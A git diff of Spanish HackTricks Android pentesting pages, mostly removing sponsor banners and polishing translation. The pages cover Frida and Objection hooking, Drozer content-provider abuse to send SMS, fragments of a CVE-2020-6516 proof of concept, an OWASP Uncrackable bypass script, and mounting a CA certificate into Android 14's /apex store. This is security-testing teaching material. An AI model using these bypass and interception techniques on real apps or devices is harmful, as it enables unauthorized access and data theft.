2. **Eludir la Fijación SSL**: Esto permite a un atacante interceptar y modificar el tráfico entre el cliente y el servidor, potencialmente alterando el proceso de autenticación o robando datos sensibles. 2. **Eludir la Fijación de SSL**: Esto permite a un atacante interceptar y modificar el tráfico entre el cliente y el servidor, potencialmente alterando el proceso de autenticación o robando datos sensibles.
Ejemplo de comando para Frida: Ejemplo de comando para Frida:
```bash ```bash
@ -55,7 +49,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
Las herramientas de ingeniería inversa como `APKTool`, `dex2jar` y `JD-GUI` se pueden utilizar para descompilar una aplicación de Android, leer su código fuente y entender su mecanismo de autenticación. Los pasos generalmente incluyen: Las herramientas de ingeniería inversa como `APKTool`, `dex2jar` y `JD-GUI` se pueden utilizar para descompilar una aplicación de Android, leer su código fuente y entender su mecanismo de autenticación. Los pasos generalmente incluyen:
1. **Descompilación del APK**: Convertir el archivo APK a un formato más legible para humanos (como código Java). 1. **Descompilación del APK**: Convertir el archivo APK a un formato más legible para humanos (como código Java).
2. **Análisis del Código**: Buscar la implementación de la autenticación por huella dactilar e identificar posibles debilidades (como mecanismos de respaldo o comprobaciones de validación inadecuadas). 2. **Análisis del Código**: Buscar la implementación de la autenticación por huella dactilar e identificar posibles debilidades (como mecanismos de respaldo o verificaciones de validación inadecuadas).
3. **Recompilación del APK**: Después de modificar el código para eludir la autenticación por huella dactilar, la aplicación se recompila, se firma y se instala en el dispositivo para pruebas. 3. **Recompilación del APK**: Después de modificar el código para eludir la autenticación por huella dactilar, la aplicación se recompila, se firma y se instala en el dispositivo para pruebas.
## **Método 5 Uso de Herramientas de Autenticación Personalizadas** ## **Método 5 Uso de Herramientas de Autenticación Personalizadas**
@ -69,10 +63,5 @@ Existen herramientas y scripts especializados diseñados para probar y eludir me
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,10 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**Este es un resumen de la publicación [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** **Este es un resumen de la publicación [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### Listar Archivos en Media Store ### Listar Archivos en Media Store
Para listar archivos gestionados por Media Store, se puede usar el siguiente comando: Para listar archivos gestionados por el Media Store, se puede usar el siguiente comando:
```bash ```bash
$ content query --uri content://media/external/file $ content query --uri content://media/external/file
``` ```
@ -44,7 +40,7 @@ content query --uri content://media/external/file --projection _id,_data | grep
``` ```
### Chrome CVE-2020-6516: Bypass de la Política de Mismo Origen ### Chrome CVE-2020-6516: Bypass de la Política de Mismo Origen
La _Política de Mismo Origen_ (SOP) es un protocolo de seguridad en los navegadores que restringe a las páginas web de interactuar con recursos de diferentes orígenes a menos que se permita explícitamente mediante una política de Compartición de Recursos de Origen Cruzado (CORS). Esta política tiene como objetivo prevenir filtraciones de información y falsificación de solicitudes entre sitios. Chrome considera `content://` como un esquema local, lo que implica reglas SOP más estrictas, donde cada URL de esquema local se trata como un origen separado. La _Política de Mismo Origen_ (SOP) es un protocolo de seguridad en los navegadores que restringe a las páginas web de interactuar con recursos de diferentes orígenes a menos que se permita explícitamente mediante una política de Compartición de Recursos entre Orígenes (CORS). Esta política tiene como objetivo prevenir filtraciones de información y falsificación de solicitudes entre sitios. Chrome considera `content://` como un esquema local, lo que implica reglas SOP más estrictas, donde cada URL de esquema local se trata como un origen separado.
Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitió eludir las reglas SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo que representaba una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con alcance no estaba implementado. Sin embargo, CVE-2020-6516 fue una vulnerabilidad en Chrome que permitió eludir las reglas SOP para recursos cargados a través de una URL `content://`. En efecto, el código JavaScript de una URL `content://` podía acceder a otros recursos cargados a través de URLs `content://`, lo que representaba una preocupación de seguridad significativa, especialmente en dispositivos Android que ejecutaban versiones anteriores a Android 10, donde el almacenamiento con alcance no estaba implementado.
@ -79,8 +75,4 @@ xhr.send();
<body onload="poc()"></body> <body onload="poc()"></body>
</html> </html>
``` ```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs para probar ## APKs para probar
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs) - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (de mrwlabs)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**Partes de este tutorial fueron extraídas de la** [**documentación de Drozer pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.** **Partes de este tutorial fueron extraídas de la** [**documentación pdf de Drozer**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**.**
## Instalación ## Instalación
@ -29,7 +25,7 @@ adb install drozer.apk
``` ```
### Iniciando el Servidor ### Iniciando el Servidor
Agent se está ejecutando en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo: Agent está corriendo en el puerto 31415, necesitamos [port forward](https://en.wikipedia.org/wiki/Port_forwarding) para establecer la comunicación entre el Drozer Client y Agent, aquí está el comando para hacerlo:
```bash ```bash
adb forward tcp:31415 tcp:31415 adb forward tcp:31415 tcp:31415
``` ```
@ -46,7 +42,7 @@ drozer console connect
| **Comandos** | **Descripción** | | **Comandos** | **Descripción** |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Help MODULE** | Muestra la ayuda del módulo seleccionado | | **Help MODULE** | Muestra la ayuda del módulo seleccionado |
| **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos apropiados para ejecutar. | | **list** | Muestra una lista de todos los módulos de drozer que se pueden ejecutar en la sesión actual. Esto oculta los módulos que no tienes permisos adecuados para ejecutar. |
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. | | **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente. |
| **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. | | **clean** | Elimina archivos temporales almacenados por drozer en el dispositivo Android. |
| **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. | | **load** | Carga un archivo que contiene comandos de drozer y los ejecuta en secuencia. |
@ -56,7 +52,7 @@ drozer console connect
| **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente | | **shell** | Inicia un shell de Linux interactivo en el dispositivo, en el contexto del Agente |
| **run MODULE** | Ejecuta un módulo de drozer | | **run MODULE** | Ejecuta un módulo de drozer |
| **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` | | **exploit** | Drozer puede crear exploits para ejecutar en el dispositivo. `drozer exploit list` |
| **payload** | Los exploits necesitan un payload. `drozer payload list` | | **payload** | Los exploits necesitan un payload. `drozer payload list` |
### Paquete ### Paquete
@ -220,7 +216,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu
``` ```
#### Enviar un mensaje #### Enviar un mensaje
En este ejemplo, abusando del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario. En este ejemplo, al abusar del [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider, puedes **enviar un SMS arbitrario** a cualquier destino no premium **sin pedir** permiso al usuario.
![](<../../../images/image (415).png>) ![](<../../../images/image (415).png>)
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**Consejo de recompensas por errores**: **regístrate** en **Intigriti**, una **plataforma de recompensas por errores premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Instalación ## Instalación
@ -16,7 +11,7 @@ pip install frida-tools
pip install frida pip install frida
``` ```
**Descargar e instalar** en el android el **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ **Descargar e instalar** en el android el **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
Comando de una línea para reiniciar adb en modo root, conectarse a él, subir frida-server, dar permisos de ejecución y ejecutarlo en segundo plano: Una línea para reiniciar adb en modo root, conectarse a él, subir frida-server, dar permisos de ejecución y ejecutarlo en segundo plano:
```bash ```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
``` ```
@ -110,7 +105,7 @@ send("MainActivity.onCreate() HIT!!!")
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
} }
``` ```
Enganchar android `.onCreate()` Hook android `.onCreate()`
```javascript ```javascript
var activity = Java.use("android.app.Activity") var activity = Java.use("android.app.Activity")
activity.onCreate.overload("android.os.Bundle").implementation = function ( activity.onCreate.overload("android.os.Bundle").implementation = function (
@ -122,7 +117,7 @@ var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
``` ```
### Enganchando funciones con parámetros y recuperando el valor ### Enganchando funciones con parámetros y recuperando el valor
Enganchando una función de desencriptación. Imprime la entrada, llama a la función original para desencriptar la entrada y finalmente, imprime los datos en texto plano: Enganchando una función de desencriptación. Imprimir la entrada, llamar a la función original para desencriptar la entrada y, finalmente, imprimir los datos en texto claro:
```javascript ```javascript
function getString(data) { function getString(data) {
var ret = "" var ret = ""
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Parte 1 de la serie de blogs sobre el uso avanzado de Frida: Bibliotecas de cifrado de IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) - [Parte 1 de la serie de blogs sobre el uso avanzado de Frida: Bibliotecas de cifrado de IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Este es un resumen de la publicación**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **Este es un resumen de la publicación**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Código Fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) **Código Fuente**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
@ -80,7 +74,7 @@ onComplete: function () {},
}) })
}) })
``` ```
En este caso, esto no funciona ya que no hay ninguna instancia y la función es estática. En este caso, esto no está funcionando ya que no hay ninguna instancia y la función es estática.
### Función Estática ### Función Estática
@ -123,11 +117,3 @@ return encrypted_ret
En este tutorial has enganchado métodos usando el nombre del método y _.implementation_. Pero si hay **más de un método** con el mismo nombre, necesitarás **especificar el método** que deseas enganchar **indicando el tipo de los argumentos**. En este tutorial has enganchado métodos usando el nombre del método y _.implementation_. Pero si hay **más de un método** con el mismo nombre, necesitarás **especificar el método** que deseas enganchar **indicando el tipo de los argumentos**.
Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md). Puedes ver eso en [el siguiente tutorial](frida-tutorial-2.md).
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: ¡**regístrate** en **Intigriti**, una plataforma de **bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Este es un resumen de la publicación**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\ **Este es un resumen de la publicación**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Partes 2, 3 y 4)\
**APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **APKs y código fuente**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
@ -112,7 +106,7 @@ script.exports.callsecretfunction()
elif command == "3": elif command == "3":
script.exports.hooksecretfunction() script.exports.hooksecretfunction()
``` ```
El comando "**1**" **saldrá**, el comando "**2**" encontrará y **instanciará la clase y llamará a la función privada** _**secret()**_ y el comando "**3**" **interceptará** la función _**secret()**_ para que **devuelva** una **cadena diferente**. El comando "**1**" **saldrá**, el comando "**2**" encontrará y **instanciará la clase y llamará a la función privada** _**secret()**_ y el comando "**3**" **enganchará** la función _**secret()**_ para que **devuelva** una **cadena diferente**.
Entonces, si llamas a "**2**" obtendrás el **secreto real**, pero si llamas a "**3**" y luego a "**2**" obtendrás el **secreto falso**. Entonces, si llamas a "**2**" obtendrás el **secreto real**, pero si llamas a "**3**" y luego a "**2**" obtendrás el **secreto falso**.
@ -156,7 +150,7 @@ hooksecretfunction: hookSecret,
``` ```
## Parte 4 ## Parte 4
Aquí verás cómo hacer que **Python y JS interactúen** utilizando objetos JSON. JS utiliza la función `send()` para enviar datos al cliente de Python, y Python utiliza la función `post()` para enviar datos al script de JS. **JS bloqueará la ejecución** hasta que reciba una respuesta de Python. Aquí verás cómo hacer que **Python y JS interactúen** utilizando objetos JSON. JS utiliza la función `send()` para enviar datos al cliente de Python, y Python usa la función `post()` para enviar datos al script de JS. **JS bloqueará la ejecución** hasta que reciba una respuesta de Python.
### Python ### Python
```python ```python
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
``` ```
Hay una parte 5 que no voy a explicar porque no hay nada nuevo. Pero si quieres leerla, está aquí: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) Hay una parte 5 que no voy a explicar porque no hay nada nuevo. Pero si quieres leerla, está aquí: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Consejo de bug bounty**: **regístrate** en **Intigriti**, ¡una plataforma de **bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **Introducción** ## **Introducción**
@ -26,7 +22,7 @@ Para este tutorial voy a usar el APK que puedes descargar aquí:
{% file src="../../../images/app-release.zip" %} {% file src="../../../images/app-release.zip" %}
O desde su [repositorio original](https://github.com/asvid/FridaApp) (descargar app-release.apk) O desde su [repositorio original](https://github.com/asvid/FridaApp)(descargar app-release.apk)
### Instalación ### Instalación
```bash ```bash
@ -34,7 +30,7 @@ pip3 install objection
``` ```
### Conexión ### Conexión
Haz una **conexión ADB regular** y **inicia** el **servidor frida** en el dispositivo (y verifica que frida esté funcionando tanto en el cliente como en el servidor). Haz una **conexión ADB regular** y **inicia** el servidor **frida** en el dispositivo (y verifica que frida esté funcionando tanto en el cliente como en el servidor).
Si estás utilizando un **dispositivo rooteado**, es necesario seleccionar la aplicación que deseas probar dentro de la opción _**--gadget**_. en este caso: Si estás utilizando un **dispositivo rooteado**, es necesario seleccionar la aplicación que deseas probar dentro de la opción _**--gadget**_. en este caso:
```bash ```bash
@ -47,7 +43,7 @@ No se van a listar todos los comandos posibles de objections en este tutorial, s
#### Entorno #### Entorno
Se puede encontrar información interesante (como contraseñas o rutas) dentro del entorno. Se podría encontrar información interesante (como contraseñas o rutas) dentro del entorno.
```bash ```bash
env env
``` ```
@ -163,7 +159,7 @@ Si juegas con la aplicación mientras la clase está enganchada, verás cuando *
#### Cambiando el valor de retorno booleano de una función #### Cambiando el valor de retorno booleano de una función
En el código fuente puedes ver que la función _checkPin_ recibe un _String_ como argumento y devuelve un _boolean_. Vamos a hacer que la función **siempre devuelva true**: Del código fuente puedes ver que la función _checkPin_ recibe un _String_ como argumento y devuelve un _boolean_. Hagamos que la función **siempre devuelva true**:
![](<../../../images/image (883).png>) ![](<../../../images/image (883).png>)
@ -173,7 +169,7 @@ Ahora, si escribes cualquier cosa en el cuadro de texto para el código PIN, ver
### Instancias de clase ### Instancias de clase
Busca e imprime **instancias activas de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**. Busca e imprime **instancias en vivo de una clase Java específica**, especificada por un nombre de clase completamente calificado. El resultado es un intento de obtener un valor de cadena para una objeción descubierta que típicamente **contendría valores de propiedad para el objeto**.
``` ```
android heap print_instances <class> android heap print_instances <class>
``` ```
@ -226,13 +222,5 @@ exit
## Lo que me falta en Objection ## Lo que me falta en Objection
- Los métodos de hooking a veces hacen que la aplicación se bloquee (esto también se debe a Frida). - Los métodos de hooking a veces hacen que la aplicación se bloquee (esto también se debe a Frida).
- No puedes usar las instancias de las clases para llamar a funciones de la instancia. Y no puedes crear nuevas instancias de clases y usarlas para llamar a funciones. - No puedes usar las instancias de las clases para llamar a las funciones de la instancia. Y no puedes crear nuevas instancias de clases y usarlas para llamar a funciones.
- No hay un atajo (como el de sslpinnin) para enganchar todos los métodos criptográficos comunes que utiliza la aplicación para ver texto cifrado, texto plano, claves, IVs y algoritmos utilizados. - No hay un atajo (como el de sslpinnin) para enganchar todos los métodos criptográficos comunes que utiliza la aplicación para ver texto cifrado, texto plano, claves, IVs y algoritmos utilizados.
<img src="../../../images/i3.png" alt="" data-size="original">
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
--- ---
@ -17,7 +12,7 @@
Basado en [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) Basado en [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
**Engancha la función \_exit()**\_ y **la función de desencriptación** para que imprima la bandera en la consola de frida cuando presiones verificar: **Enganchar la función \_exit()**\_ y **la función de desencriptación** para que imprima la bandera en la consola de frida cuando presiones verificar:
```javascript ```javascript
Java.perform(function () { Java.perform(function () {
send("Starting hooks OWASP uncrackable1...") send("Starting hooks OWASP uncrackable1...")
@ -120,10 +115,4 @@ return false
send("Hooks installed.") send("Hooks installed.")
}) })
``` ```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,6 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## En una Máquina Virtual ## En una Máquina Virtual
@ -58,9 +55,9 @@ En la última versión de Android 14, se ha observado un cambio significativo en
Los intentos de volver a montar la **ruta APEX cacerts** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no eluden la inmutabilidad; las aplicaciones continúan accediendo a los datos del certificado original independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio **`/apex`** no afecte a otros procesos. Los intentos de volver a montar la **ruta APEX cacerts** como escribible fracasan, ya que el sistema no permite tales operaciones. Incluso los intentos de desmontar o superponer el directorio con un sistema de archivos temporal (tmpfs) no eluden la inmutabilidad; las aplicaciones continúan accediendo a los datos del certificado original independientemente de los cambios a nivel de sistema de archivos. Esta resistencia se debe a que el montaje de **`/apex`** está configurado con propagación PRIVADA, asegurando que cualquier modificación dentro del directorio **`/apex`** no afecte a otros procesos.
La inicialización de Android involucra el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicación con un nuevo espacio de nombres de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos. La inicialización de Android implica el proceso `init`, que, al iniciar el sistema operativo, también inicia el proceso Zygote. Este proceso es responsable de lanzar procesos de aplicación con un nuevo espacio de nombres de montaje que incluye un montaje privado de **`/apex`**, aislando así los cambios en este directorio de otros procesos.
Sin embargo, existe una solución para aquellos que necesitan modificar los certificados CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere acción rápida para evitar fallos del sistema. Para asegurar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva al sistema a un estado consistente. No obstante, existe una solución para aquellos que necesitan modificar los certificados CA de confianza del sistema dentro del directorio **`/apex`**. Esto implica volver a montar manualmente **`/apex`** para eliminar la propagación PRIVADA, haciéndolo escribible. El proceso incluye copiar el contenido de **`/apex/com.android.conscrypt`** a otra ubicación, desmontar el directorio **`/apex/com.android.conscrypt`** para eliminar la restricción de solo lectura, y luego restaurar el contenido a su ubicación original dentro de **`/apex`**. Este enfoque requiere acción rápida para evitar fallos del sistema. Para asegurar la aplicación de estos cambios en todo el sistema, se recomienda reiniciar el `system_server`, lo que reinicia efectivamente todas las aplicaciones y lleva al sistema a un estado consistente.
```bash ```bash
# Create a separate temp directory, to hold the current certificates # Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore. # Otherwise, when we add the mount we can't read the current certs anymore.
@ -141,8 +138,5 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/) - [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,8 @@
# Reversing Native Libraries # Reversión de Bibliotecas Nativas
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure> **Para más información, consulta:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Profundiza tu experiencia en **Seguridad Móvil** con 8kSec Academy. Domina la seguridad de iOS y Android a través de nuestros cursos autoguiados y obtén certificación:
{% embed url="https://academy.8ksec.io/" %}
